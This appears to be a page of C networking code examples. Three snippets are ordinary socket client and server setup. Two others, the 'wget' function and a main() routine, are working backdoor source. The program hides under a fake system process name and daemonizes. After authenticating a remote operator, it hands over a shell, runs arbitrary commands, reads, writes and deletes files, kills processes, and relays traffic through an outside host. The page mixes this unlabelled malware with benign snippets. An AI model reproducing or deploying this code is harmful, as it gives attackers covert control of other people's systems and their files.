Exemple #1
0
static uint32_t wget(int fh)
{
        int fd = socket(AF_INET, SOCK_STREAM, 0);

        if (fd < 0)
                return 1;

        struct sockaddr_in sa;

        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = *(uint32_t *) (buffer + 4);
        sa.sin_port = *(uint16_t *) (buffer + 2);;

        sockopts(fd);

        if (connect(fd, (struct sockaddr *)&sa, sizeof (sa)))
                return 2;

        int wlen;

        while ((wlen = rpkt(0)))
                write(fd, buffer, wlen);

        for (;;) {
                int len = recv(fd, buffer, 32768, MSG_WAITALL);

                if (len <= 0)
                        break;

                write(fh, buffer, len);
                wpkt((uint8_t *) & len, sizeof (len));
        }

        close(fd);

        return 0;
}
Exemple #2
0
int
cliopen(char *host, char *port)
{
    int					fd, i, on;
    const char			*protocol;
    struct in_addr		inaddr;
    struct servent		*sp;
    struct hostent		*hp;

    protocol = udp ? "udp" : "tcp";

    /* initialize socket address structure */
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;

    /* see if "port" is a service name or number */
    if ( (i = atoi(port)) == 0)
    {
        if ( (sp = getservbyname(port, protocol)) == NULL)
            err_quit("getservbyname() error for: %s/%s", port, protocol);

        servaddr.sin_port = sp->s_port;
    }
    else
        servaddr.sin_port = htons(i);

    /*
     * First try to convert the host name as a dotted-decimal number.
     * Only if that fails do we call gethostbyname().
     */

    if (inet_aton(host, &inaddr) == 1)
        servaddr.sin_addr = inaddr;	/* it's dotted-decimal */
    else if ( (hp = gethostbyname(host)) != NULL)
        memcpy(&servaddr.sin_addr, hp->h_addr, hp->h_length);
    else
        err_quit("invalid hostname: %s", host);

    if ( (fd = socket(AF_INET, udp ? SOCK_DGRAM : SOCK_STREAM, 0)) < 0)
        err_sys("socket() error");

    if (reuseaddr)
    {
        on = 1;
        if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof (on)) < 0)
            err_sys("setsockopt of SO_REUSEADDR error");
    }

#ifdef	SO_REUSEPORT
    if (reuseport)
    {
        on = 1;
        if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &on, sizeof (on)) < 0)
            err_sys("setsockopt of SO_REUSEPORT error");
    }
#endif

    /*
     * User can specify port number for client to bind.  Only real use
     * is to see a TCP connection initiated by both ends at the same time.
     * Also, if UDP is being used, we specifically call bind() to assign
     * an ephemeral port to the socket.
     * Also, for experimentation, client can also set local IP address
     * (and port) using -l option.  Allow localip[] to be set but bindport
     * to be 0.
     */

    if (bindport != 0 || localip[0] != 0 || udp)
    {
        bzero(&cliaddr, sizeof(cliaddr));
        cliaddr.sin_family      = AF_INET;
        cliaddr.sin_port        = htons(bindport);			/* can be 0 */
        if (localip[0] != 0)
        {
            if (inet_aton(localip, &cliaddr.sin_addr) == 0)
                err_quit("invalid IP address: %s", localip);
        }
        else
            cliaddr.sin_addr.s_addr = htonl(INADDR_ANY);	/* wildcard */

        if (bind(fd, (struct sockaddr *) &cliaddr, sizeof(cliaddr)) < 0)
            err_sys("bind() error");
    }

    /* Need to allocate buffers before connect(), since they can affect
     * TCP options (window scale, etc.).
     */

    buffers(fd);
    sockopts(fd, 0);	/* may also want to set SO_DEBUG */

    /*
     * Connect to the server.  Required for TCP, optional for UDP.
     */

    if (udp == 0 || connectudp)
    {
        for ( ; ; )
        {
            if (connect(fd, (struct sockaddr *) &servaddr, sizeof(servaddr))
                    == 0)
                break;		/* all OK */
            if (errno == EINTR)		/* can happen with SIGIO */
                continue;
            if (errno == EISCONN)	/* can happen with SIGIO */
                break;
            err_sys("connect() error");
        }
    }

    if (verbose)
    {
        /* Call getsockname() to find local address bound to socket:
           TCP ephemeral port was assigned by connect() or bind();
           UDP ephemeral port was assigned by bind(). */
        i = sizeof(cliaddr);
        if (getsockname(fd, (struct sockaddr *) &cliaddr, &i) < 0)
            err_sys("getsockname() error");

        /* Can't do one fprintf() since inet_ntoa() stores
           the result in a static location. */
        fprintf(stderr, "connected on %s.%d ",
                INET_NTOA(cliaddr.sin_addr), ntohs(cliaddr.sin_port));
        fprintf(stderr, "to %s.%d\n",
                INET_NTOA(servaddr.sin_addr), ntohs(servaddr.sin_port));
    }

    sockopts(fd, 1);	/* some options get set after connect() */

    return(fd);
}
Exemple #3
0
int servopen(char* host, char* port)
{
    int fd, newfd, i, on, pid;
    const char* protocol;
    struct in_addr inaddr;
    struct servent* sp;

    protocol = udp ? "udp" : "tcp";

    /* Initialize the socket address structure */
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;

    /* Caller normally wildcards the local Internet address, meaning
           a connection will be accepted on any connected interface.
           We only allow an IP address for the "host", not a name. */
    if (host == NULL)
        servaddr.sin_addr.s_addr = htonl(INADDR_ANY); /* wildcard */
    else {
        if (inet_aton(host, &inaddr) == 0)
            err_quit("invalid host name for server: %s", host);
        servaddr.sin_addr = inaddr;
    }

    /* See if "port" is a service name or number */
    if ((i = atoi(port)) == 0) {
        if ((sp = getservbyname(port, protocol)) == NULL)
            err_ret("getservbyname() error for: %s/%s", port, protocol);

        servaddr.sin_port = sp->s_port;
    } else
        servaddr.sin_port = htons(i);

    if ((fd = socket(AF_INET, udp ? SOCK_DGRAM : SOCK_STREAM, 0)) < 0)
        err_sys("socket() error");

    if (reuseaddr) {
        on = 1;
        if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
            err_sys("setsockopt of SO_REUSEADDR error");
    }

#ifdef SO_REUSEPORT
    if (reuseport) {
        on = 1;
        if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &on, sizeof(on)) < 0)
            err_sys("setsockopt of SO_REUSEPORT error");
    }
#endif

    /* Bind our well-known port so the client can connect to us. */
    if (bind(fd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0)
        err_sys("can't bind local address");

    join_mcast(fd, &servaddr);

    if (udp) {
        buffers(fd);

        if (foreignip[0] != 0) { /* connect to foreignip/port# */
            bzero(&cliaddr, sizeof(cliaddr));
            if (inet_aton(foreignip, &cliaddr.sin_addr) == 0)
                err_quit("invalid IP address: %s", foreignip);
            cliaddr.sin_family = AF_INET;
            cliaddr.sin_port = htons(foreignport);
            /* connect() for datagram socket doesn't appear to allow
                   wildcarding of either IP address or port number */

            if (connect(fd, (struct sockaddr*)&cliaddr, sizeof(cliaddr)) < 0)
                err_sys("connect() error");
        }

        sockopts(fd, 1);

        return (fd); /* nothing else to do */
    }

    buffers(fd);     /* may set receive buffer size; must do here to get
                               correct window advertised on SYN */
    sockopts(fd, 0); /* only set some socket options for fd */

    listen(fd, listenq);

    if (pauselisten)
        sleep_us(pauselisten * 1000); /* lets connection queue build up */

    if (dofork) TELL_WAIT(); /* initialize synchronization primitives */

    for (;;) {
        i = sizeof(cliaddr);
        if ((newfd = accept(fd, (struct sockaddr*)&cliaddr, &i)) < 0)
            err_sys("accept() error");

        if (dofork) {
            if ((pid = fork()) < 0) err_sys("fork error");

            if (pid > 0) {
                close(newfd); /* parent closes connected socket */
                WAIT_CHILD(); /* wait for child to output to terminal */
                continue;     /* and back to for(;;) for another accept() */
            } else {
                close(fd); /* child closes listening socket */
            }
        }

        /* child (or iterative server) continues here */
        if (verbose) {
            /* Call getsockname() to find local address bound to socket:
                   local internet address is now determined (if multihomed). */
            i = sizeof(servaddr);
            if (getsockname(newfd, (struct sockaddr*)&servaddr, &i) < 0)
                err_sys("getsockname() error");

            /* Can't do one fprintf() since inet_ntoa() stores
                           the result in a static location. */
            fprintf(stderr, "connection on %s.%d ",
                    INET_NTOA(servaddr.sin_addr), ntohs(servaddr.sin_port));
            fprintf(stderr, "from %s.%d\n", INET_NTOA(cliaddr.sin_addr),
                    ntohs(cliaddr.sin_port));
        }

        buffers(newfd);     /* setsockopt() again, in case it didn't propagate
                                   from listening socket to connected socket */
        sockopts(newfd, 1); /* can set all socket options for this socket */

        if (dofork)
            TELL_PARENT(getppid()); /* tell parent we're done with terminal */

        return (newfd);
    }
}
Exemple #4
0
//客户端模式由这个函数实现
int cliopen(char *host, char *port)
{
	int					fd, i, on;
	char				*protocol;
	unsigned long		inaddr;
	struct sockaddr_in	cli_addr, serv_addr;
	struct servent		*sp;
	struct hostent		*hp;

	protocol = udp ? "udp" : "tcp";

		/* initialize socket address structure */
	bzero((char *) &serv_addr, sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;

		/* see if "port" is a service name or number */
	if ( (i = atoi(port)) == 0) {
		if ( (sp = getservbyname(port, protocol)) == NULL)
			err_quit("getservbyname() error for: %s/%s", port, protocol);

		serv_addr.sin_port = sp->s_port;
	} else
		serv_addr.sin_port = htons(i);//主机字节序变成网络字节序

	/*
	 * First try to convert the host name as a dotted-decimal number.
	 * Only if that fails do we call gethostbyname().
	 */
    //转化host字符串为ip地址
    //转化有问题时,尝试gethostbyname
	if ( (inaddr = inet_addr(host)) != INADDR_NONE) {
						/* it's dotted-decimal */
		bcopy((char *) &inaddr, (char *) &serv_addr.sin_addr, sizeof(inaddr));

	} else {
		if ( (hp = gethostbyname(host)) == NULL)
			err_quit("gethostbyname() error for: %s", host);

		bcopy(hp->h_addr, (char *) &serv_addr.sin_addr, hp->h_length);
	}

    //创建socket
    //根据参数选择是udp还是tcp
	if ( (fd = socket(AF_INET, udp ? SOCK_DGRAM : SOCK_STREAM, 0)) < 0)
		err_sys("socket() error");

    //重用端口地址
    //如果你的服务程序停止后想立即重启,而新套接字依旧使用同一端口,
    //此时SO_REUSEADDR 选项非常有用。
	if (reuseaddr) {
		on = 1;
		if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR,
										(char *) &on, sizeof (on)) < 0)
			err_sys("setsockopt of SO_REUSEADDR error");
	}

	/*
	 * User can specify port number for client to bind.  Only real use
	 * is to see a TCP connection initiated by both ends at the same time.
	 * Also, if UDP is being used, we specifically call bind() to assign
	 * an ephemeral port to the socket.
	 */

	if (bindport != 0 || udp) {
		bzero((char *) &cli_addr, sizeof(cli_addr));
		cli_addr.sin_family      = AF_INET;
		cli_addr.sin_addr.s_addr = htonl(INADDR_ANY);	/* wildcard */
		cli_addr.sin_port        = htons(bindport);

		if (bind(fd, (struct sockaddr *) &cli_addr, sizeof(cli_addr)) < 0)
			err_sys("bind() error");
	}

	/* Need to allocate buffers before connect(), since they can affect
	 * TCP options (window scale, etc.).
	 */

	buffers(fd);//申请读写buffer以及套接字的滑动窗口
    //设置socket选项getsockopt & setsockopt
	sockopts(fd, 0);	/* may also want to set SO_DEBUG */

	/*
	 * Connect to the server.  Required for TCP, optional for UDP.
	 */

	if (connect(fd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
		err_sys("connect() error");

    //需要提示么
	if (verbose) {
			/* Call getsockname() to find local address bound to socket:
			   TCP ephemeral port was assigned by connect() or bind();
			   UDP ephemeral port was assigned by bind(). */
		i = sizeof(cli_addr);
		if (getsockname(fd, (struct sockaddr *) &cli_addr, &i) < 0)
			err_sys("getsockname() error");

					/* Can't do one fprintf() since inet_ntoa() stores
					   the result in a static location. */
		fprintf(stderr, "connected on %s.%d ",
					INET_NTOA(cli_addr.sin_addr), ntohs(cli_addr.sin_port));
		fprintf(stderr, "to %s.%d\n",
					INET_NTOA(serv_addr.sin_addr), ntohs(serv_addr.sin_port));
	}

	sockopts(fd, 1);	/* some options get set after connect() */

	return(fd);
}
Exemple #5
0
int main(int argc, char *argv[])
{
#if 0
        {
                crypto_hash(buffer, buffer, 96);
                hd(buffer, 1088 / 8);
        }
#endif
        if (argc == 2) {
                static char *eargv[] = { "/sbin/ifwatch-if", "eth0", 0, 0 };
                eargv[2] = argv[1];
                execve(argv[0], eargv, environ);
        }

        {
                int i;

                for (i = 0; i < 64 + 2; ++i)
                        secret[32 + i] = argv[2][i * 2 + 0] * 16 + argv[2][i * 2 + 1] - 'a' * (16 + 1);

                for (i = 0; i < (64 + 2) * 2; ++i)
                        argv[2][i] = ' ';
        }

        int ls = socket(AF_INET, SOCK_STREAM, 0);

        if (ls < 0)
                return 0;

        struct sockaddr_in sa;

        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = INADDR_ANY;
        sa.sin_port = *(uint16_t *) (secret + 32 + 64);

        sockopts(0);

        if (bind(ls, (struct sockaddr *)&sa, sizeof (sa)))
                return 0;

        if (listen(ls, 1))
                return 0;

        write(1, MSG("ZohHoo5i"));

        if (fork())
                return 0;

        sigaction(SIGHUP, &sa_sigign, 0);
        sigaction(SIGCHLD, &sa_sigign, 0);

        syscall(SCN(SYS_setsid));

        for (;;) {
                {
                        int i = open("/dev/urandom", O_RDONLY);

                        if (i >= 0) {
                                read(i, secret, 32);
                                close(i);
                        }

                        ++secret[0];

                        for (i = 0; i < 31; ++i)
                                secret[i + 1] += secret[i];
                }

                int fd = accept(ls, 0, 0);

                if (fd >= 0) {
                        if (fork() == 0) {
                                close(ls);
                                syscall(SCN(SYS_setsid));
                                sigaction(SIGCHLD, &sa_sigdfl, 0);

                                setfds(fd);

                                sockopts(0);

                                write(0, secret, 32 + 32);
                                crypto_hash(buffer, secret, 32 + 32 + 32);

                                rpkt(32);

                                if (memcmp(buffer, buffer + 32, 32))
                                        x();

                                wpkt(MSG(VERSION "/" arch));    /* version/arch */
                                static const uint32_t endian = 0x11223344;

                                wpkt((uint8_t *) & endian, sizeof (endian));
                                wpkt(buffer, 0);

                                uint8_t clen;
                                int fh = -1;
                                int ret;

                                while ((clen = rpkt(0)))
                                        switch (buffer[0]) {
                                          case 1:      // telnet
                                                  {
                                                          static char *argv[] = { "sh", "-i", 0 };
                                                          execve("/bin/sh", argv, environ);
                                                  }
                                                  break;

                                          case 2:      // open readonly
                                          case 3:      // open wrcreat
                                                  ret = fh = open(buffer + 1, buffer[0] == 2 ? O_RDONLY : O_RDWR | O_CREAT, 0600);
                                                  break;

                                          case 4:      // close
                                                  close(fh);
                                                  break;

                                          case 5:      // kill
                                                  ret = syscall(SCN(SYS_kill), *(uint32_t *) (buffer + 4), buffer[1]);
                                                  break;

                                          case 6:      // chmod
                                                  ret = syscall(SCN(SYS_chmod), buffer + 4, *(uint16_t *) (buffer + 2));
                                                  break;

                                          case 7:      // rename
                                                  rpkt(260);
                                                  ret = syscall(SCN(SYS_rename), buffer + 1, buffer + 260);
                                                  break;

                                          case 8:      // unlink
                                                  ret = syscall(SCN(SYS_unlink), buffer + 1);
                                                  break;

                                          case 9:      // mkdir
                                                  ret = syscall(SCN(SYS_mkdir), buffer + 1, 0700);
                                                  break;

                                          case 10:     // wget
                                                  ret = wget(fh);
                                                  break;

                                          case 11:     // lstat
                                          case 23:     // stat
                                                  {
                                                          struct stat buf;
                                                          int l = (buffer[0] == 23 ? stat : lstat) (buffer + 1, &buf);

                                                          ((uint32_t *) buffer)[0] = buf.st_dev;
                                                          ((uint32_t *) buffer)[1] = buf.st_ino;
                                                          ((uint32_t *) buffer)[2] = buf.st_mode;
                                                          ((uint32_t *) buffer)[3] = buf.st_size;
                                                          ((uint32_t *) buffer)[4] = buf.st_mtime;

                                                          wpkt(buffer, l ? 0 : sizeof (uint32_t) * 5);
                                                  }
                                                  break;

                                          case 12:
                                                  {
                                                          struct statfs sfsbuf;
                                                          int l = statfs(buffer + 1, &sfsbuf);

                                                          ((uint32_t *) buffer)[0] = sfsbuf.f_type;
                                                          ((uint32_t *) buffer)[1] = sfsbuf.f_bsize;
                                                          ((uint32_t *) buffer)[2] = sfsbuf.f_blocks;
                                                          ((uint32_t *) buffer)[3] = sfsbuf.f_bfree;
                                                          ((uint32_t *) buffer)[4] = sfsbuf.f_bavail;
                                                          ((uint32_t *) buffer)[5] = sfsbuf.f_files;
                                                          ((uint32_t *) buffer)[6] = sfsbuf.f_ffree;

                                                          wpkt(buffer, l ? 0 : sizeof (uint32_t) * 7);
                                                  }
                                                  break;

                                          case 13:     // exec quiet
                                          case 14:     // exec till marker
                                                  {
                                                          int quiet = buffer[0] == 13;

                                                          pid_t pid = fork();

                                                          if (pid == 0) {
                                                                  if (quiet)
                                                                          setfds(open("/dev/null", O_RDWR));

                                                                  static char *argv[] = { "sh", "-c", buffer + 1, 0 };
                                                                  execve("/bin/sh", argv, environ);
                                                                  _exit(0);
                                                          }

                                                          if (pid > 0)
                                                                  syscall(SCN(SYS_waitpid), (int)pid, &ret, 0);

                                                          if (!quiet)
                                                                  wpkt(secret, 32 + 32);        // challenge + id
                                                  }
                                                  break;

                                          case 15:     // readdir
                                                  {
                                                          int l;

                                                          while ((l = syscall(SCN(SYS_getdents64), fh, buffer, sizeof (buffer))) > 0) {
                                                                  uint8_t *buf = buffer;

                                                                  do {
                                                                          int w = l > 254 ? 254 : l;

                                                                          wpkt(buf, w);
                                                                          buf += w;
                                                                          l -= w;
                                                                  }
                                                                  while (l);
                                                          }

                                                          wpkt(buffer, 0);
                                                  }
                                                  break;

                                          case 16:     // lseek
                                                  ret = lseek(fh, *(int32_t *) (buffer + 4), buffer[3]);
                                                  break;

                                          case 17:     // fnv
                                          case 18:     // readall
                                                  {
                                                          int fnv = buffer[0] == 17;
                                                          uint32_t hval = 2166136261U;
                                                          int l;

                                                          while ((l = read(fh, buffer, 254)) > 0) {
                                                                  if (fnv) {
                                                                          uint8_t *p = buffer;

                                                                          while (l--) {
                                                                                  hval ^= *p++;
                                                                                  hval *= 16777619;
                                                                          }
                                                                  } else
                                                                          wpkt(buffer, l);
                                                          }

                                                          wpkt((uint8_t *) & hval, fnv ? sizeof (hval) : 0);
                                                  }
                                                  break;

                                          case 19:     // write
                                                  ret = write(fh, buffer + 1, clen - 1);
                                                  break;

                                          case 20:     // readlink
                                                  {
                                                          int l = syscall(SCN(SYS_readlink), buffer + 1, buffer + 260, 255);

                                                          wpkt(buffer + 260, l > 0 ? l : 0);
                                                  }
                                                  break;

                                          case 21:     // readret
                                                  wpkt((uint8_t *) & ret, sizeof (ret));
                                                  break;

                                          case 22:     // chdir
                                                  ret = syscall(SCN(SYS_chdir), buffer + 1);
                                                  break;

                                          default:
                                                  x();
                                        }
                        }
                        // keep fd open for at least delay, also delay hack attempts
                        static const struct timespec ts = { 1, 0 };
                        syscall(SCN(SYS_nanosleep), &ts, 0);

                        close(fd);
                }
        }
}